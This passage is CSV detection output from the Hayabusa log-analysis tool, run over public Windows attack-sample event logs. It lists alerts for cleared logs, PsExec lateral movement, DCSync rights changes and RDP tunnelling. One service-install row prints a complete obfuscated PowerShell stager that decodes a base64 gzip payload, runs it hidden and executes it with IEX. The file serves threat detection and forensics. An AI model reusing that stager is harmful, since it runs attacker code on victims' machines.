Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 22:11:15.816 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 22:11:15.832 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 23:21:12.500 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 23:21:12.500 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-21 01:33:53.404 +09:00,IE10Win7,1102,high,Security log was cleared,User: IEUser,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/metasploit-psexec-powershell-target-security.evtx +2016-09-21 01:34:04.272 +09:00,IE10Win7,104,high,System log file was cleared,User: IEUser,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/metasploit-psexec-powershell-target-system.evtx +2016-09-21 01:35:46.590 +09:00,IE10Win7,7045,high,Malicious service installed,"Service: UWdKhYTIQWWJxHfx : Path: %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAGFl4VcCA71WW4/aOhB+bqX+h6hCIlFZEli6N6nScYAAy2Vhw52iI5M4weDEbOJw6+l/PxMge2m31Z4+nAgU2zPjGX/zjSdO5FuCcl+aF8YW77iE9KRvH96/a+MAe5Kcmq0rV5uutY5mopKRUq6rcU625Yd6V3n3DvRS++uRJ32R5AlarUrcw9Sf3twUoyAgvjjOsxUiUBgSb8YoCWVF+kcazElAzu5mC2IJ6ZuU+jtbYXyG2UltV8TWnEhnyLdjWYNbOI4xa64YFXL669e0MjnLTbPlhwizUE6bu1AQL2szllak70rssLtbETndpFbAQ+6I7ID65/lszw+xQ1qw25o0iZhzO0wrcAr4BUREgS8dzhNvcBTLaRi2A24h2w5ICNrZmr/mSyKn/IixjPSXPDl5v498QT0CckECvjJJsKYWCbNV7NuM3BNnKrfIJjn0W43k50ag1RaBkoG8vBJmk9sRI0fLtPJzoC9yqcDzQz4BiO8f3n947ySU8C6CVWtPLxcbhJ+TAkbvJocxgajlNg/pQf+LpGWkJvjHggc7mKa6QUSUqTSJszGZTqWUPeyagdjVM7/eI5cYgPreEMM1h8VJn1N7CkanbKUs9hB7+A3rSsShPintfOxRKyGW/FoOiMPI4cTZRK0FYcnpk4DYJcKIi0WMakaa/GxW9qh4tNUjymwSIAvyGEJUkGLlZTDHRMnpmt8kHiB1nKchHQ7QmSTaJwrvEu/xHJTSRYbDMCO1I6gnKyOZBDNiZyTkh/QkQpHgh2H6KdxmxAS1cCiS7aZKguPJX5H7oQgiC5IHZ++aK2JRzGIoMlKV2kTfmdRN/KZfBaKIGaO+CzutIRGwEgNgipgSAYT4mH4laxJR81aMeKB3KG6DYRdK+VQQBx5hl9jpH6NMCH9kd4xHAsSzGCHJJuMiI/VpIOCOiLE9cunPg3h2RxzCKQbklBQ5qZyJvhMxz1MMF+dHfp4wOiASCEDDCLin45BcFEwRAFbyR/WOFhE8o5rPmpa+pDm0oblaE/49el7jpUu7fruoqkFpO3dQLaw1q+1Sp1otrG/NfkGY5Zqot2uiWR4uFiaq3vdGYlxD1S7VlqPCfnVL92YD2aOterHX9xtN3+4Xru2MSo7jXjrmfe6zQRuDYkfX8rhRKkeNgb7RtUJYpptqh/Y6y1tDzEZ9hnuO6g5z15huG8Gin+PNfQ2hyvzc2t86/cq8ae9GVfV6UFiiMkJFv9w3dF4f6QFqq33s9vmmvqiwgVtEumFRMu70DL3TMXTUqyweSteqC7ZDPNcH/Twdr4b3c5gbEEJd1Qo1m+z5qAMgVTjC7j3ouMW8NXdAp/QJ6Z9aPMzjpc6RDjrG+AHiGq2MNgN5t5fnqM9aQ4wa452hqrlRu4CqGh1UXBRviV29g1G4Lu1Laq5vc3vwuTVy1P6QXaqlYndlOaqqbqqlujXOba/uLgu69lD0qMdmeVu97l3p/qbutteu3Rlc3m9buxn466lq/2PMGqBNavHZu9IuF8/o8Ktrv4mDcI4Z0ATu86RQDR4Ypyu5zWlsIcvPuvWSBD5h0Nyg/SV8R4xxK+4TL65w6FXHDjKF4u3B8Dz/6kiRHhWVpz6SLN3cjCFmqKMjybMN4rtintG255oG97+2LWhw8LeftMhXO/m0WSbuIAleTy7YwYUSl1hqMdg0L5bV1f+B5qnE5/Cy34rm09pvpG9CWMs8IvGT5OXCf8L7D7EYYCpA34Qri5FjA/09JCcuPfsQSVIHXHFOT/wxeBeJsxZ8o/wLs66tlosKAAA=''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);",rules/hayabusa/default/alerts/System/7045_CreateOrModiftySystemProcess-WindowsService_MaliciousServiceInstalled.yml,../hayabusa-sample-evtx/DeepBlueCLI/metasploit-psexec-powershell-target-system.evtx +2016-09-21 01:35:46.590 +09:00,IE10Win7,7045,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/metasploit-psexec-powershell-target-system.evtx +2016-09-21 01:35:46.605 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/metasploit-psexec-powershell-target-security.evtx +2016-09-21 01:35:46.608 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/metasploit-psexec-powershell-target-security.evtx +2016-09-21 01:35:46.790 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/metasploit-psexec-powershell-target-security.evtx +2016-09-21 03:27:25.424 +09:00,IE10Win7,1102,high,Security log was cleared,User: IEUser,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/psattack-security.evtx +2016-09-21 03:45:16.455 +09:00,IE10Win7,1102,high,Security log was cleared,User: IEUser,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/powersploit-system.evtx +2016-09-21 03:45:24.408 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/powersploit-system.evtx +2016-09-21 03:45:24.408 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/powersploit-system.evtx +2016-09-21 03:45:48.501 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/powersploit-system.evtx +2016-09-21 03:45:48.501 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/powersploit-system.evtx +2016-09-21 04:15:32.581 +09:00,IE10Win7,1102,high,Security log was cleared,User: IEUser,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/powersploit-security.evtx +2016-09-21 04:15:54.128 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Generic,,rules/sigma/deprecated/powershell_suspicious_invocation_generic.yml,../hayabusa-sample-evtx/DeepBlueCLI/powersploit-security.evtx +2016-09-21 04:19:26.903 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Generic,,rules/sigma/deprecated/powershell_suspicious_invocation_generic.yml,../hayabusa-sample-evtx/DeepBlueCLI/powersploit-security.evtx +2016-09-21 12:40:37.088 +09:00,IE10Win7,1102,high,Security log was cleared,User: IEUser,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/metasploit-psexec-native-target-security.evtx +2016-09-21 12:40:41.865 +09:00,IE10Win7,104,high,System log file was cleared,User: IEUser,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/metasploit-psexec-native-target-system.evtx +2017-06-10 04:21:26.968 +09:00,2016dc.hqcorp.local,4794,high,Password Change on Directory Service Restore Mode (DSRM) Account,,rules/sigma/builtin/security/win_susp_dsrm_password_change.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/4794_DSRM_password_change_t1098.evtx +2017-06-13 08:39:43.512 +09:00,2012r2srv.maincorp.local,4765,medium,Addition of SID History to Active Directory Object,,rules/sigma/builtin/security/win_susp_add_sid_history.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/4765_sidhistory_add_t1178.evtx +2017-08-31 01:31:57.382 +09:00,SEC511,4104,high,Malicious PowerShell Commandlets,,rules/sigma/powershell/powershell_script/powershell_malicious_commandlets.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:31:57.382 +09:00,SEC511,4104,high,Malicious Nishang PowerShell Commandlets,,rules/sigma/powershell/powershell_script/powershell_nishang_malicious_commandlets.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:31:57.382 +09:00,SEC511,4104,medium,Windows PowerShell Web Request,,rules/sigma/powershell/powershell_script/powershell_web_request.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:31:57.382 +09:00,SEC511,4104,high,Malicious PowerShell Keywords,,rules/sigma/powershell/powershell_script/powershell_malicious_keywords.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:31:57.382 +09:00,SEC511,4104,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/powershell/powershell_script/powershell_suspicious_invocation_specific_in_scripblocktext.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:31:57.382 +09:00,SEC511,4104,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:31:57.382 +09:00,SEC511,4104,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:41:03.586 +09:00,SEC511,4104,medium,Windows PowerShell Web Request,,rules/sigma/powershell/powershell_script/powershell_web_request.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:41:03.586 +09:00,SEC511,4104,high,Malicious PowerShell Keywords,,rules/sigma/powershell/powershell_script/powershell_malicious_keywords.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:41:03.586 +09:00,SEC511,4104,high,Malicious PowerShell Commandlets,,rules/sigma/powershell/powershell_script/powershell_malicious_commandlets.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:41:03.586 +09:00,SEC511,4104,high,Malicious Nishang PowerShell Commandlets,,rules/sigma/powershell/powershell_script/powershell_nishang_malicious_commandlets.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:41:03.586 +09:00,SEC511,4104,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/powershell/powershell_script/powershell_suspicious_invocation_specific_in_scripblocktext.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:41:03.586 +09:00,SEC511,4104,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:41:03.586 +09:00,SEC511,4104,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:15:55.243 +09:00,SEC511,4104,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:15:55.243 +09:00,SEC511,4104,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:15:55.243 +09:00,SEC511,4104,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:17:12.146 +09:00,SEC511,4104,medium,Windows PowerShell Web Request,,rules/sigma/powershell/powershell_script/powershell_web_request.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:17:12.146 +09:00,SEC511,4104,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/powershell/powershell_script/powershell_suspicious_invocation_specific_in_scripblocktext.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:17:12.146 +09:00,SEC511,4104,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:17:12.146 +09:00,SEC511,4104,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:17:12.146 +09:00,SEC511,4104,high,Malicious PowerShell Keywords,,rules/sigma/powershell/powershell_script/powershell_malicious_keywords.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:17:12.146 +09:00,SEC511,4104,high,Malicious Nishang PowerShell Commandlets,,rules/sigma/powershell/powershell_script/powershell_nishang_malicious_commandlets.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:17:12.146 +09:00,SEC511,4104,high,Malicious PowerShell Commandlets,,rules/sigma/powershell/powershell_script/powershell_malicious_commandlets.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:18:01.084 +09:00,SEC511,4104,medium,Windows PowerShell Web Request,,rules/sigma/powershell/powershell_script/powershell_web_request.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 04:12:28.360 +09:00,SEC511,4104,high,Accessing WinAPI in PowerShell,,rules/sigma/powershell/powershell_script/powershell_accessing_win_api.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 04:15:23.660 +09:00,SEC511,4104,high,Accessing WinAPI in PowerShell,,rules/sigma/powershell/powershell_script/powershell_accessing_win_api.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-encoding-menu.evtx +2017-08-31 04:25:48.647 +09:00,SEC511,4104,high,Malicious Nishang PowerShell Commandlets,,rules/sigma/powershell/powershell_script/powershell_nishang_malicious_commandlets.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-string-menu.evtx +2019-01-19 22:00:10.350 +09:00,IEWIN7,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: blabla.exe : IP Address: 10.0.2.16,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_renamed_psexecsvc_5145.evtx +2019-01-19 22:00:10.350 +09:00,IEWIN7,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: blabla.exe : IP Address: 10.0.2.16,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_renamed_psexecsvc_5145.evtx +2019-01-19 22:00:10.540 +09:00,IEWIN7,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_renamed_psexecsvc_5145.evtx +2019-01-19 22:00:10.711 +09:00,IEWIN7,5145,high,Suspicious PsExec Execution,,rules/sigma/builtin/security/win_susp_psexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_renamed_psexecsvc_5145.evtx +2019-01-19 22:00:10.711 +09:00,IEWIN7,5145,high,Suspicious PsExec Execution,,rules/sigma/builtin/security/win_susp_psexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_renamed_psexecsvc_5145.evtx +2019-01-19 22:00:10.711 +09:00,IEWIN7,5145,high,Suspicious PsExec Execution,,rules/sigma/builtin/security/win_susp_psexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_renamed_psexecsvc_5145.evtx +2019-01-19 22:00:10.711 +09:00,IEWIN7,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_renamed_psexecsvc_5145.evtx +2019-01-19 22:00:10.711 +09:00,IEWIN7,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_renamed_psexecsvc_5145.evtx +2019-01-19 22:00:10.711 +09:00,IEWIN7,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_renamed_psexecsvc_5145.evtx +2019-01-20 16:00:50.800 +09:00,WIN-77LTAPHIQ1R.example.corp,1102,high,Security log was cleared,User: Administrator,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_bloodhound.evtx +2019-01-20 16:29:57.863 +09:00,WIN-77LTAPHIQ1R.example.corp,1102,high,Security log was cleared,User: Administrator,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_psloggedon.evtx +2019-02-02 18:16:52.479 +09:00,ICORP-DC.internal.corp,4776,informational,NTLM Logon to Local Account,User: helpdesk : Workstation evil.internal.corp : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privexchange_dirkjan.evtx +2019-02-02 18:17:22.562 +09:00,ICORP-DC.internal.corp,4776,informational,NTLM Logon to Local Account,User: EXCHANGE$ : Workstation EXCHANGE : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privexchange_dirkjan.evtx +2019-02-02 18:17:22.563 +09:00,ICORP-DC.internal.corp,4624,informational,Logon Type 3 - Network,User: EXCHANGE$ : Workstation: EXCHANGE : IP Address: 192.168.111.87 : Port: 58128 : LogonID: 0x24daa6,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privexchange_dirkjan.evtx +2019-02-02 18:17:27.629 +09:00,ICORP-DC.internal.corp,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privexchange_dirkjan.evtx +2019-02-02 18:17:27.629 +09:00,ICORP-DC.internal.corp,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privexchange_dirkjan.evtx +2019-02-14 00:15:04.175 +09:00,PC02.example.corp,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunneling_4624.evtx +2019-02-14 00:15:08.689 +09:00,PC02.example.corp,4624,low,Logon Type 5 - Service,User: sshd_server : Workstation: PC02 : IP Address: - : Port: - : LogonID: 0xe509,rules/hayabusa/default/events/Security/Logons/4624_LogonType-5-Service.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunneling_4624.evtx +2019-02-14 00:19:51.259 +09:00,PC02.example.corp,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: PC02 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x21f73 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunneling_4624.evtx +2019-02-14 00:26:53.356 +09:00,PC02.example.corp,4624,informational,Logon Type 10 - RDP (Remote Interactive),User: IEUser : Workstation: PC02 : IP Address: 127.0.0.1 : Port: 49164 : LogonID: 0x45120 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-10-RemoteInteractive.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunneling_4624.evtx +2019-02-14 00:26:53.356 +09:00,PC02.example.corp,4624,high,RDP Login from Localhost,,rules/sigma/builtin/security/win_rdp_localhost_login.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunneling_4624.evtx +2019-02-14 00:29:40.657 +09:00,PC02.example.corp,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: PC02 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x4a26d : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunneling_4624.evtx +2019-02-14 00:31:19.529 +09:00,PC02.example.corp,4624,informational,Logon Type 3 - Network,User: ANONYMOUS LOGON : Workstation: PC01 : IP Address: 10.0.2.17 : Port: 49168 : LogonID: 0x73d02,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunneling_4624.evtx +2019-02-14 00:31:31.556 +09:00,PC02.example.corp,4624,informational,Logon Type 3 - Network,User: ANONYMOUS LOGON : Workstation: PC01 : IP Address: 10.0.2.17 : Port: 49169 : LogonID: 0x7d4f4,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunneling_4624.evtx +2019-02-14 03:01:41.593 +09:00,PC01.example.corp,1102,high,Security log was cleared,User: admin01,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:02:04.426 +09:00,PC01.example.corp,4624,informational,Logon Type 11 - CachedInteractive,User: user01 : Workstation: PC01 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1414c8 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-11-CachedInteractive.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:02:04.426 +09:00,PC01.example.corp,4648,informational,Explicit Logon,Source User: PC01$ : Target User: user01 : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:02:04.526 +09:00,PC01.example.corp,4648,informational,Explicit Logon,Source User: PC01$ : Target User: user01 : IP Address: - : Process: C:\Windows\System32\lsass.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:02:04.526 +09:00,PC01.example.corp,4624,informational,Logon Type 7 - Unlock,User: user01 : Workstation: PC01 : IP Address: - : Port: - : LogonID: 0x1414d9,rules/hayabusa/default/events/Security/Logons/4624_LogonType-7-Unlock.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:01.632 +09:00,PC01.example.corp,5156,high,RDP over Reverse SSH Tunnel WFP,,rules/sigma/builtin/security/win_rdp_reverse_tunnel.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:01.632 +09:00,PC01.example.corp,5156,high,RDP over Reverse SSH Tunnel WFP,,rules/sigma/builtin/security/win_rdp_reverse_tunnel.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:43.171 +09:00,PC01.example.corp,4672,informational,Admin Logon,User: admin01 : LogonID: 0x14871d,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:45.905 +09:00,PC01.example.corp,5156,high,RDP over Reverse SSH Tunnel WFP,,rules/sigma/builtin/security/win_rdp_reverse_tunnel.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:45.905 +09:00,PC01.example.corp,5156,high,RDP over Reverse SSH Tunnel WFP,,rules/sigma/builtin/security/win_rdp_reverse_tunnel.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:57.442 +09:00,PC01.example.corp,4672,informational,Admin Logon,User: admin01 : LogonID: 0x148f5d,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:58.363 +09:00,PC01.example.corp,4624,informational,Logon Type 10 - RDP (Remote Interactive),User: admin01 : Workstation: PC01 : IP Address: 127.0.0.1 : Port: 49274 : LogonID: 0x14a321 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-10-RemoteInteractive.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:58.363 +09:00,PC01.example.corp,4672,informational,Admin Logon,User: admin01 : LogonID: 